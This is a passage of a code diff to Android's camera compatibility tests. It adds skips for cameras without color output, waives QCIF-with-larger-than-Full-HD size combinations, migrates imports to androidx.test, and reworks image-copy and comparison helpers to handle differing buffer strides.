-        createDefaultImageReader(DEFAULT_CAPTURE_SIZE, ImageFormat.YUV_420_888, MAX_NUM_IMAGES,
-                new ImageDropperListener());
     }
 
     @Override
@@ -449,7 +447,6 @@
     public void testChainedOperation() throws Throwable {
 
         final ArrayList<Surface> outputs = new ArrayList<>();
-        outputs.add(mReaderSurface);
 
         // A queue for the chained listeners to push results to
         // A success Throwable indicates no errors; other Throwables detail a test failure;
@@ -591,49 +588,60 @@
         // Actual test code
 
         for (int i = 0; i < mCameraIds.length; i++) {
-            Throwable result;
+            try {
+                Throwable result;
 
-            if (!(new StaticMetadata(mCameraManager.getCameraCharacteristics(mCameraIds[i]))).
-                    isColorOutputSupported()) {
-                Log.i(TAG, "Camera " + mCameraIds[i] + " does not support color outputs, skipping");
-                continue;
-            }
-
-            // Start chained cascade
-            ChainedCameraListener cameraListener = new ChainedCameraListener();
-            mCameraManager.openCamera(mCameraIds[i], cameraListener, mHandler);
-
-            // Check if open succeeded
-            result = results.poll(CAMERA_OPEN_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-            if (result != success) {
-                if (cameraListener.cameraDevice != null) cameraListener.cameraDevice.close();
-                if (result == null) {
-                    fail("Timeout waiting for camera open");
-                } else {
-                    throw result;
+                if (!(new StaticMetadata(mCameraManager.getCameraCharacteristics(mCameraIds[i]))).
+                        isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                            " does not support color outputs, skipping");
+                    continue;
                 }
-            }
 
-            // Check if configure succeeded
-            result = results.poll(SESSION_CONFIGURE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-            if (result != success) {
-                if (cameraListener.cameraDevice != null) cameraListener.cameraDevice.close();
-                if (result == null) {
-                    fail("Timeout waiting for session configure");
-                } else {
-                    throw result;
-                }
-            }
+                createDefaultImageReader(DEFAULT_CAPTURE_SIZE, ImageFormat.YUV_420_888,
+                        MAX_NUM_IMAGES, new ImageDropperListener());
+                outputs.add(mReaderSurface);
 
-            // Check if capture succeeded
-            result = results.poll(CAPTURE_RESULT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-            if (result != success) {
-                if (cameraListener.cameraDevice != null) cameraListener.cameraDevice.close();
-                if (result == null) {
-                    fail("Timeout waiting for capture completion");
-                } else {
-                    throw result;
+                // Start chained cascade
+                ChainedCameraListener cameraListener = new ChainedCameraListener();
+                mCameraManager.openCamera(mCameraIds[i], cameraListener, mHandler);
+
+                // Check if open succeeded
+                result = results.poll(CAMERA_OPEN_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+                if (result != success) {
+                    if (cameraListener.cameraDevice != null) cameraListener.cameraDevice.close();
+                    if (result == null) {
+                        fail("Timeout waiting for camera open");
+                    } else {
+                        throw result;
+                    }
                 }
+
+                // Check if configure succeeded
+                result = results.poll(SESSION_CONFIGURE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+                if (result != success) {
+                    if (cameraListener.cameraDevice != null) cameraListener.cameraDevice.close();
+                    if (result == null) {
+                        fail("Timeout waiting for session configure");
+                    } else {
+                        throw result;
+                    }
+                }
+
+                // Check if capture succeeded
+                result = results.poll(CAPTURE_RESULT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+                if (result != success) {
+                    if (cameraListener.cameraDevice != null) cameraListener.cameraDevice.close();
+                    if (result == null) {
+                        fail("Timeout waiting for capture completion");
+                    } else {
+                        throw result;
+                    }
+                }
+
+            } finally {
+                closeDefaultImageReader();
+                outputs.clear();
             }
         }
     }
@@ -1097,7 +1105,7 @@
             }
 
             for (int inFormat : inputFormats) {
-                int outputFormats [] = config.getValidOutputFormatsForInput(inputFormat);
+                int outputFormats [] = config.getValidOutputFormatsForInput(inFormat);
                 for (int outFormat : outputFormats) {
                     if (inFormat == outFormat) {
                         inputFormat = inFormat;
@@ -1836,6 +1844,9 @@
         if (!mStaticInfo.isColorOutputSupported()) {
             createDefaultImageReader(getMaxDepthSize(mCamera.getId(), mCameraManager),
                     ImageFormat.DEPTH16, MAX_NUM_IMAGES, new ImageDropperListener());
+        } else {
+            createDefaultImageReader(DEFAULT_CAPTURE_SIZE, ImageFormat.YUV_420_888, MAX_NUM_IMAGES,
+                    new ImageDropperListener());
         }
 
         List<Surface> outputSurfaces = new ArrayList<>(Arrays.asList(mReaderSurface));
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 78f7523..9339535 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -250,7 +250,8 @@
 
             // Handle FullHD special case first
             if (jpegSizesList.contains(FULLHD)) {
-                if (hwLevel >= LEVEL_3 || hwLevel == FULL || (hwLevel == LIMITED &&
+                if (compareHardwareLevel(hwLevel, LEVEL_3) >= 0 || hwLevel == FULL ||
+                        (hwLevel == LIMITED &&
                         maxVideoSize.getWidth() >= FULLHD.getWidth() &&
                         maxVideoSize.getHeight() >= FULLHD.getHeight())) {
                     boolean yuvSupportFullHD = yuvSizesList.contains(FULLHD) ||
@@ -278,7 +279,8 @@
                 jpegSizesList.removeAll(toBeRemoved);
             }
 
-            if (hwLevel >= LEVEL_3 || hwLevel == FULL || hwLevel == LIMITED) {
+            if (compareHardwareLevel(hwLevel, LEVEL_3) >= 0 || hwLevel == FULL ||
+                    hwLevel == LIMITED) {
                 if (!yuvSizesList.containsAll(jpegSizesList)) {
                     for (Size s : jpegSizesList) {
                         if (!yuvSizesList.contains(s)) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java b/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java
index 70e928a..9234c7e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java
@@ -16,10 +16,9 @@
 
 package android.hardware.camera2.cts;
 
-import static org.junit.Assert.fail;
-
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assert.fail;
 import static org.mockito.Mockito.eq;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.reset;
@@ -33,8 +32,9 @@
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.SystemUtil;
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
index 8852778..ef174fa 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
@@ -361,7 +361,8 @@
 
                 Size maxJpegSize = CameraTestUtils.getMaxSize(jpegSizes);
                 Size maxPreviewSize = mOrderedPreviewSizes.get(0);
-
+                Size QCIF = new Size(176, 144);
+                Size FULL_HD = new Size(1920, 1080);
                 for (int format : supportedYUVFormats) {
                     Size[] targetCaptureSizes =
                             mStaticInfo.getAvailableSizesForFormatChecked(format,
@@ -409,6 +410,14 @@
                                             + "max preview size (" + maxPreviewSize
                                             + ") is not supported");
                                     continue;
+                                } else if (captureSz.equals(QCIF) &&
+                                        ((maxJpegSize.getWidth() > FULL_HD.getWidth()) ||
+                                         (maxJpegSize.getHeight() > FULL_HD.getHeight()))) {
+                                    Log.v(TAG, "Skip testing {yuv:" + captureSz
+                                            + " ,jpeg:" + maxJpegSize + "} for camera "
+                                            + mCamera.getId() +
+                                            " because QCIF + >Full_HD size is not supported");
+                                    continue;
                                 } else {
                                     fail("Camera " + mCamera.getId() +
                                             ":session configuration failed for {jpeg: " +
diff --git a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
index 33365b2..c3de878 100644
--- a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
@@ -105,6 +105,10 @@
                     Log.i(TAG, "Camera " + id + " is legacy, skipping");
                     continue;
                 }
+                if (!mStaticInfo.isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
+                    continue;
+                }
 
                 Size yuvSize = mOrderedPreviewSizes.get(0);
                 // Create a YUV image reader.
@@ -528,6 +532,10 @@
             CameraCharacteristics properties =
                     mCameraManager.getCameraCharacteristics(physicalCameraId);
             assertNotNull("Can't get camera characteristics!", properties);
+            if (!mAllStaticInfo.get(physicalCameraId).isColorOutputSupported()) {
+                // No color output support, skip.
+                continue;
+            }
             StreamConfigurationMap configMap =
                 properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
             physicalConfigs.put(physicalCameraId, configMap);
@@ -565,7 +573,7 @@
             ArrayList<String> supportedPhysicalCameras = new ArrayList<String>();
             for (String physicalCameraId : physicalCameraIds) {
                 List<Size> physicalPreviewSizes = physicalPreviewSizesMap.get(physicalCameraId);
-                if (physicalPreviewSizes.contains(previewSize)) {
+                if (physicalPreviewSizes != null && physicalPreviewSizes.contains(previewSize)) {
                    long minDurationPhysical =
                            physicalConfigs.get(physicalCameraId).getOutputMinFrameDuration(
                            ImageFormat.YUV_420_888, previewSize);
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index 651b8b6..7617043 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -1151,6 +1151,8 @@
             }
 
             CamcorderProfile profile = CamcorderProfile.get(cameraId, profileId);
+            Size QCIF = new Size(176, 144);
+            Size FULL_HD = new Size(1920, 1080);
             Size videoSz = new Size(profile.videoFrameWidth, profile.videoFrameHeight);
             Size maxPreviewSize = mOrderedPreviewSizes.get(0);
 
@@ -1227,8 +1229,6 @@
                 }
             }
 
-            Log.i(TAG, "Testing video snapshot size " + videoSnapshotSz +
-                    " for video size " + videoSz);
             if (videoSnapshotSz.getWidth() * videoSnapshotSz.getHeight() > FRAME_SIZE_15M)
                 kFrameDrop_Tolerence = (int)(FRAMEDROP_TOLERANCE * FRAME_DROP_TOLERENCE_FACTOR);
 
@@ -1253,6 +1253,26 @@
                 }
             }
 
+            if (videoSz.equals(QCIF) &&
+                    ((videoSnapshotSz.getWidth() > FULL_HD.getWidth()) ||
+                     (videoSnapshotSz.getHeight() > FULL_HD.getHeight()))) {
+                List<Surface> outputs = new ArrayList<Surface>();
+                outputs.add(mPreviewSurface);
+                outputs.add(mRecordingSurface);
+                outputs.add(mReaderSurface);
+                boolean isSupported = isStreamConfigurationSupported(
+                        mCamera, outputs, mSessionListener, mHandler);
+                if (!isSupported) {
+                    videoSnapshotSz = defaultvideoSnapshotSz;
+                    createImageReader(
+                            videoSnapshotSz, ImageFormat.JPEG,
+                            MAX_VIDEO_SNAPSHOT_IMAGES, /*listener*/null);
+                }
+            }
+
+            Log.i(TAG, "Testing video snapshot size " + videoSnapshotSz +
+                    " for video size " + videoSz);
+
             if (VERBOSE) {
                 Log.v(TAG, "Testing camera recording with video size " + videoSz.toString());
             }
diff --git a/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java
index f30ca92..57b470e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java
@@ -511,6 +511,9 @@
     private void testReprocessingAllCombinations(String cameraId, Size previewSize,
             CaptureTestCase captureTestCase) throws Exception {
 
+        Size QCIF = new Size(176, 144);
+        Size VGA = new Size(640, 480);
+        Size FULL_HD = new Size(1920, 1080);
         int[] supportedInputFormats =
                 mStaticInfo.getAvailableFormats(StaticMetadata.StreamDirection.Input);
         for (int inputFormat : supportedInputFormats) {
@@ -528,6 +531,24 @@
                             StaticMetadata.StreamDirection.Output);
 
                     for (Size reprocessOutputSize : supportedReprocessOutputSizes) {
+                        // Handle QCIF exceptions
+                        if (reprocessOutputSize.equals(QCIF) &&
+                                ((inputSize.getWidth() > FULL_HD.getWidth()) ||
+                                 (inputSize.getHeight() > FULL_HD.getHeight()))) {
+                            continue;
+                        }
+                        if (inputSize.equals(QCIF) &&
+                                ((reprocessOutputSize.getWidth() > FULL_HD.getWidth()) ||
+                                 (reprocessOutputSize.getHeight() > FULL_HD.getHeight()))) {
+                            continue;
+                        }
+                        if ((previewSize != null) &&
+                                ((previewSize.getWidth() > FULL_HD.getWidth()) || (
+                                  previewSize.getHeight() > FULL_HD.getHeight())) &&
+                                (inputSize.equals(QCIF) || reprocessOutputSize.equals(QCIF))) {
+                            previewSize = VGA;
+                        }
+
                         switch (captureTestCase) {
                             case SINGLE_SHOT:
                                 testReprocess(cameraId, inputSize, inputFormat,
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 47020ed..e74405f 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -914,7 +914,13 @@
                     "Testing Camera %s for abandoning surface of a repeating request", id));
 
             openDevice(id);
+            if (!mStaticInfo.isColorOutputSupported()) {
+                Log.i(TAG, "Camera " + id + " does not support color output, skipping");
+                continue;
+            }
+
             try {
+
                 SurfaceTexture preview = new SurfaceTexture(/*random int*/ 1);
                 Surface previewSurface = new Surface(preview);
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
index e77ad79..f327b30 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
@@ -894,6 +894,8 @@
         SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
         SimpleImageReaderListener imageListener = new SimpleImageReaderListener();
 
+        Size QCIF = new Size(176, 144);
+        Size FULL_HD = new Size(1920, 1080);
         for (Size stillSz : mOrderedStillSizes)
             for (Size previewSz : mOrderedPreviewSizes) {
                 if (VERBOSE) {
@@ -901,6 +903,20 @@
                             + " with preview size " + previewSz.toString() + " for camera "
                             + mCamera.getId());
                 }
+
+                // Skip testing QCIF + >FullHD combinations
+                if (stillSz.equals(QCIF) &&
+                        ((previewSz.getWidth() > FULL_HD.getWidth()) ||
+                         (previewSz.getHeight() > FULL_HD.getHeight()))) {
+                    continue;
+                }
+
+                if (previewSz.equals(QCIF) &&
+                        ((stillSz.getWidth() > FULL_HD.getWidth()) ||
+                         (stillSz.getHeight() > FULL_HD.getHeight()))) {
+                    continue;
+                }
+
                 CaptureRequest.Builder previewRequest =
                         mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
                 CaptureRequest.Builder stillRequest =
diff --git a/tests/camera/src/android/hardware/cts/CameraTest.java b/tests/camera/src/android/hardware/cts/CameraTest.java
index 81b42ef..f6502fc 100644
--- a/tests/camera/src/android/hardware/cts/CameraTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraTest.java
@@ -470,10 +470,20 @@
         // Test all preview sizes.
         initializeMessageLooper(cameraId);
         Parameters parameters = mCamera.getParameters();
+
+        Size QCIF = mCamera.new Size(176, 144);
+        Size VGA = mCamera.new Size(640, 480);
+        Size defaultPicSize = parameters.getPictureSize();
+
         for (Size size: parameters.getSupportedPreviewSizes()) {
             mPreviewCallbackResult = PREVIEW_CALLBACK_NOT_RECEIVED;
             mCamera.setPreviewCallback(mPreviewCallback);
             parameters.setPreviewSize(size.width, size.height);
+            if (size.equals(QCIF)) {
+                parameters.setPictureSize(VGA.width, VGA.height);
+            } else {
+                parameters.setPictureSize(defaultPicSize.width, defaultPicSize.height);
+            }
             mCamera.setParameters(parameters);
             assertEquals(size, mCamera.getParameters().getPreviewSize());
             checkPreviewCallback();
@@ -502,6 +512,7 @@
         initializeMessageLooper(cameraId);
         Parameters params = mCamera.getParameters();
         if(!params.isVideoStabilizationSupported()) {
+            terminateMessageLooper();
             return;
         }
         //Check whether we can support preview callbacks along with stabilization
@@ -1219,14 +1230,14 @@
         Camera.Parameters parameters = mCamera.getParameters();
         SurfaceHolder surfaceHolder;
         surfaceHolder = getActivity().getSurfaceView().getHolder();
-        CamcorderProfile profile = CamcorderProfile.get(cameraId,
-                CamcorderProfile.QUALITY_LOW);
+        CamcorderProfile profile = null; // Used for built-in camera
         Camera.Size videoSize = null; // Used for external camera
 
         // Set the preview size.
         if (mIsExternalCamera) {
             videoSize = setupExternalCameraRecord(parameters);
         } else {
+            profile = CamcorderProfile.get(cameraId, CamcorderProfile.QUALITY_LOW);
             setPreviewSizeByProfile(parameters, profile);
         }
 
@@ -1413,8 +1424,17 @@
         mCamera.setPreviewDisplay(surfaceHolder);
         Parameters parameters = mCamera.getParameters();
         PreviewCallbackWithBuffer callback = new PreviewCallbackWithBuffer();
+        Size QCIF = mCamera.new Size(176, 144);
+        Size VGA = mCamera.new Size(640, 480);
+        Size defaultPicSize = parameters.getPictureSize();
+
         // Test all preview sizes.
         for (Size size: parameters.getSupportedPreviewSizes()) {
+            if (size.equals(QCIF)) {
+                parameters.setPictureSize(VGA.width, VGA.height);
+            } else {
+                parameters.setPictureSize(defaultPicSize.width, defaultPicSize.height);
+            }
             parameters.setPreviewSize(size.width, size.height);
             mCamera.setParameters(parameters);
             assertEquals(size, mCamera.getParameters().getPreviewSize());
@@ -1503,11 +1523,20 @@
             return;
         }
 
+        Size QCIF = mCamera.new Size(176, 144);
+        Size VGA = mCamera.new Size(640, 480);
+        Size defaultPicSize = parameters.getPictureSize();
+
         // Test the zoom parameters.
         assertEquals(0, parameters.getZoom());  // default zoom should be 0.
         for (Size size: parameters.getSupportedPreviewSizes()) {
             parameters = mCamera.getParameters();
             parameters.setPreviewSize(size.width, size.height);
+            if (size.equals(QCIF)) {
+                parameters.setPictureSize(VGA.width, VGA.height);
+            } else {
+                parameters.setPictureSize(defaultPicSize.width, defaultPicSize.height);
+            }
             mCamera.setParameters(parameters);
             parameters = mCamera.getParameters();
             int maxZoom = parameters.getMaxZoom();
@@ -1932,6 +1961,22 @@
         }
     }
 
+    // API exception on QCIF size. QCIF size along with anything larger than
+    // 1920x1080 on either width/height is not guaranteed to be supported.
+    private boolean isWaivedCombination(Size previewSize, Size pictureSize) {
+        Size QCIF = mCamera.new Size(176, 144);
+        Size FULL_HD = mCamera.new Size(1920, 1080);
+        if (previewSize.equals(QCIF) && (pictureSize.width > FULL_HD.width ||
+                pictureSize.height > FULL_HD.height)) {
+            return true;
+        }
+        if (pictureSize.equals(QCIF) && (previewSize.width > FULL_HD.width ||
+                previewSize.height > FULL_HD.height)) {
+            return true;
+        }
+        return false;
+    }
+
     private void testPreviewPictureSizesCombinationByCamera(int cameraId) throws Exception {
         initializeMessageLooper(cameraId);
         Parameters parameters = mCamera.getParameters();
@@ -1949,12 +1994,33 @@
                 callback.expectedPreviewSize = previewSize;
                 parameters.setPreviewSize(previewSize.width, previewSize.height);
                 parameters.setPictureSize(pictureSize.width, pictureSize.height);
-                mCamera.setParameters(parameters);
+                try {
+                    mCamera.setParameters(parameters);
+                } catch (RuntimeException e) {
+                    if (isWaivedCombination(previewSize, pictureSize)) {
+                        Log.i(TAG, String.format("Preview %dx%d and still %dx%d combination is" +
+                                "waived", previewSize.width, previewSize.height,
+                                pictureSize.width, pictureSize.height));
+                        continue;
+                    }
+                    throw e;
+                }
+
                 assertEquals(previewSize, mCamera.getParameters().getPreviewSize());
                 assertEquals(pictureSize, mCamera.getParameters().getPictureSize());
 
                 // Check if the preview size is the same as requested.
-                mCamera.startPreview();
+                try {
+                    mCamera.startPreview();
+                } catch (RuntimeException e) {
+                    if (isWaivedCombination(previewSize, pictureSize)) {
+                        Log.i(TAG, String.format("Preview %dx%d and still %dx%d combination is" +
+                                "waived", previewSize.width, previewSize.height,
+                                pictureSize.width, pictureSize.height));
+                        continue;
+                    }
+                    throw e;
+                }
                 waitForPreviewDone();
                 assertEquals(PREVIEW_CALLBACK_RECEIVED, mPreviewCallbackResult);
 
@@ -2729,13 +2795,13 @@
         Parameters parameters = mCamera.getParameters();
 
         SurfaceHolder holder = getActivity().getSurfaceView().getHolder();
-        CamcorderProfile profile = CamcorderProfile.get(cameraId,
-                CamcorderProfile.QUALITY_LOW);
+        CamcorderProfile profile = null; // for built-in camera
         Camera.Size videoSize = null; // for external camera
 
         if (mIsExternalCamera) {
             videoSize = setupExternalCameraRecord(parameters);
         } else {
+            profile = CamcorderProfile.get(cameraId, CamcorderProfile.QUALITY_LOW);
             setPreviewSizeByProfile(parameters, profile);
         }
 
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index f0714e1..47a5003 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -1648,9 +1648,9 @@
     private static void validateRawPrivateData(byte[] rawData, int width, int height,
             long ts, String filePath) {
         if (VERBOSE) Log.v(TAG, "Validating private raw data");
-        // Expect each RAW pixel should occupy at least one byte and no more than 2.5 bytes
+        // Expect each RAW pixel should occupy at least one byte and no more than 30 bytes
         int expectedSizeMin = width * height;
-        int expectedSizeMax = width * height * 5 / 2;
+        int expectedSizeMax = width * height * 30;
 
         assertTrue("Opaque RAW size " + rawData.length + "out of normal bound [" +
                 expectedSizeMin + "," + expectedSizeMax + "]",
@@ -1868,7 +1868,7 @@
      * @param src The source image to be copied from.
      * @param dst The destination image to be copied to.
      * @throws IllegalArgumentException If the source and destination images have
-     *             different format, or one of the images is not copyable.
+     *             different format, size, or one of the images is not copyable.
      */
     public static void imageCopy(Image src, Image dst) {
         if (src == null || dst == null) {
@@ -1882,6 +1882,13 @@
             throw new IllegalArgumentException("PRIVATE format images are not copyable");
         }
 
+        Size srcSize = new Size(src.getWidth(), src.getHeight());
+        Size dstSize = new Size(dst.getWidth(), dst.getHeight());
+        if (!srcSize.equals(dstSize)) {
+            throw new IllegalArgumentException("source image size " + srcSize + " is different"
+                    + " with " + "destination image size " + dstSize);
+        }
+
         // TODO: check the owner of the dst image, it must be from ImageWriter, other source may
         // not be writable. Maybe we should add an isWritable() method in image class.
 
@@ -1891,16 +1898,100 @@
         ByteBuffer dstBuffer = null;
         for (int i = 0; i < srcPlanes.length; i++) {
             srcBuffer = srcPlanes[i].getBuffer();
+            dstBuffer = dstPlanes[i].getBuffer();
             int srcPos = srcBuffer.position();
             srcBuffer.rewind();
-            dstBuffer = dstPlanes[i].getBuffer();
             dstBuffer.rewind();
-            dstBuffer.put(srcBuffer);
+            int srcRowStride = srcPlanes[i].getRowStride();
+            int dstRowStride = dstPlanes[i].getRowStride();
+            int srcPixStride = srcPlanes[i].getPixelStride();
+            int dstPixStride = dstPlanes[i].getPixelStride();
+
+            if (srcPixStride > 2 || dstPixStride > 2) {
+                throw new IllegalArgumentException("source pixel stride " + srcPixStride +
+                        " with destination pixel stride " + dstPixStride +
+                        " is not supported");
+            }
+
+            if (srcRowStride == dstRowStride && srcPixStride == dstPixStride) {
+                // Fast path, just copy the content in the byteBuffer all together.
+                dstBuffer.put(srcBuffer);
+            } else {
+                Size effectivePlaneSize = getEffectivePlaneSizeForImage(src, i);
+                int srcRowByteCount = srcRowStride;
+                byte[] srcDataRow = new byte[srcRowByteCount];
+
+                if (srcPixStride == dstPixStride) {
+                    // Row by row copy case
+                    for (int row = 0; row < effectivePlaneSize.getHeight(); row++) {
+                        if (row == effectivePlaneSize.getHeight() - 1) {
+                            // Special case for interleaved planes: need handle the last row
+                            // carefully to avoid memory corruption. Check if we have enough bytes
+                            // to copy.
+                            int remainingBytes = srcBuffer.remaining();
+                            if (srcRowByteCount > remainingBytes) {
+                                srcRowByteCount = remainingBytes;
+                            }
+                        }
+                        srcBuffer.get(srcDataRow, /*offset*/0, srcRowByteCount);
+                        dstBuffer.put(srcDataRow, /*offset*/0, srcRowByteCount);
+                    }
+                } else {
+                    // Row by row per pixel copy case
+                    int dstRowByteCount = dstRowStride;
+                    byte[] dstDataRow = new byte[dstRowByteCount];
+                    for (int row = 0; row < effectivePlaneSize.getHeight(); row++) {
+                        if (row == effectivePlaneSize.getHeight() - 1) {
+                            // Special case for interleaved planes: need handle the last row
+                            // carefully to avoid memory corruption. Check if we have enough bytes
+                            // to copy.
+                            int remainingBytes = srcBuffer.remaining();
+                            if (srcRowByteCount > remainingBytes) {
+                                srcRowByteCount = remainingBytes;
+                            }
+                            remainingBytes = dstBuffer.remaining();
+                            if (dstRowByteCount > remainingBytes) {
+                                dstRowByteCount = remainingBytes;
+                            }
+                        }
+                        srcBuffer.get(srcDataRow, /*offset*/0, srcRowByteCount);
+                        int pos = dstBuffer.position();
+                        dstBuffer.get(dstDataRow, /*offset*/0, dstRowByteCount);
+                        dstBuffer.position(pos);
+                        for (int x = 0; x < effectivePlaneSize.getWidth(); x++) {
+                            dstDataRow[x * dstPixStride] = srcDataRow[x * srcPixStride];
+                        }
+                        dstBuffer.put(dstDataRow, /*offset*/0, dstRowByteCount);
+                    }
+                }
+            }
             srcBuffer.position(srcPos);
             dstBuffer.rewind();
         }
     }
 
+    private static Size getEffectivePlaneSizeForImage(Image image, int planeIdx) {
+        switch (image.getFormat()) {
+            case ImageFormat.YUV_420_888:
+                if (planeIdx == 0) {
+                    return new Size(image.getWidth(), image.getHeight());
+                } else {
+                    return new Size(image.getWidth() / 2, image.getHeight() / 2);
+                }
+            case ImageFormat.JPEG:
+            case ImageFormat.RAW_SENSOR:
+            case ImageFormat.RAW10:
+            case ImageFormat.RAW12:
+            case ImageFormat.DEPTH16:
+                return new Size(image.getWidth(), image.getHeight());
+            case ImageFormat.PRIVATE:
+                return new Size(0, 0);
+            default:
+                throw new UnsupportedOperationException(
+                        String.format("Invalid image format %d", image.getFormat()));
+        }
+    }
+
     /**
      * <p>
      * Checks whether the two images are strongly equal.
@@ -1964,9 +2055,42 @@
         for (int i = 0; i < lhsPlanes.length; i++) {
             lhsBuffer = lhsPlanes[i].getBuffer();
             rhsBuffer = rhsPlanes[i].getBuffer();
-            if (!lhsBuffer.equals(rhsBuffer)) {
-                Log.i(TAG, "byte buffers for plane " +  i + " don't matach.");
-                return false;
+            lhsBuffer.rewind();
+            rhsBuffer.rewind();
+            // Special case for YUV420_888 buffer with different chroma layout
+            if (lhsImg.getFormat() == ImageFormat.YUV_420_888 && (i != 0) &&
+                    (lhsPlanes[i].getPixelStride() != rhsPlanes[i].getPixelStride() ||
+                     lhsPlanes[i].getRowStride() != rhsPlanes[i].getRowStride())) {
+                int width = lhsImg.getWidth() / 2;
+                int height = lhsImg.getHeight() / 2;
+                int rowSizeL = lhsPlanes[i].getRowStride();
+                int rowSizeR = rhsPlanes[i].getRowStride();
+                byte[] lhsRow = new byte[rowSizeL];
+                byte[] rhsRow = new byte[rowSizeR];
+                int pixStrideL = lhsPlanes[i].getPixelStride();
+                int pixStrideR = rhsPlanes[i].getPixelStride();
+                for (int r = 0; r < height; r++) {
+                    if (r == height -1) {
+                        rowSizeL = lhsBuffer.remaining();
+                        rowSizeR = rhsBuffer.remaining();
+                    }
+                    lhsBuffer.get(lhsRow, /*offset*/0, rowSizeL);
+                    rhsBuffer.get(rhsRow, /*offset*/0, rowSizeR);
+                    for (int c = 0; c < width; c++) {
+                        if (lhsRow[c * pixStrideL] != rhsRow[c * pixStrideR]) {
+                            Log.i(TAG, String.format(
+                                    "byte buffers for plane %d row %d col %d don't match.",
+                                    i, r, c));
+                            return false;
+                        }
+                    }
+                }
+            } else {
+                // Compare entire buffer directly
+                if (!lhsBuffer.equals(rhsBuffer)) {
+                    Log.i(TAG, "byte buffers for plane " +  i + " don't match.");
+                    return false;
+                }
             }
         }
 
diff --git a/tests/core/runner-axt/Android.mk b/tests/core/runner-axt/Android.mk
new file mode 100644
index 0000000..4ab91b81
--- /dev/null
+++ b/tests/core/runner-axt/Android.mk
@@ -0,0 +1,51 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+#==========================================================
+# Build the core runner.
+#==========================================================
+
+# Build library
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+LOCAL_SRC_FILES := $(call all-java-files-under,src)
+LOCAL_MODULE := cts-core-test-runner-axt
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util-axt \
+    androidx.test.rules \
+    vogarexpect \
+    testng
+
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
+#==========================================================
+# Build the run listener
+#==========================================================
+
+# Build library
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
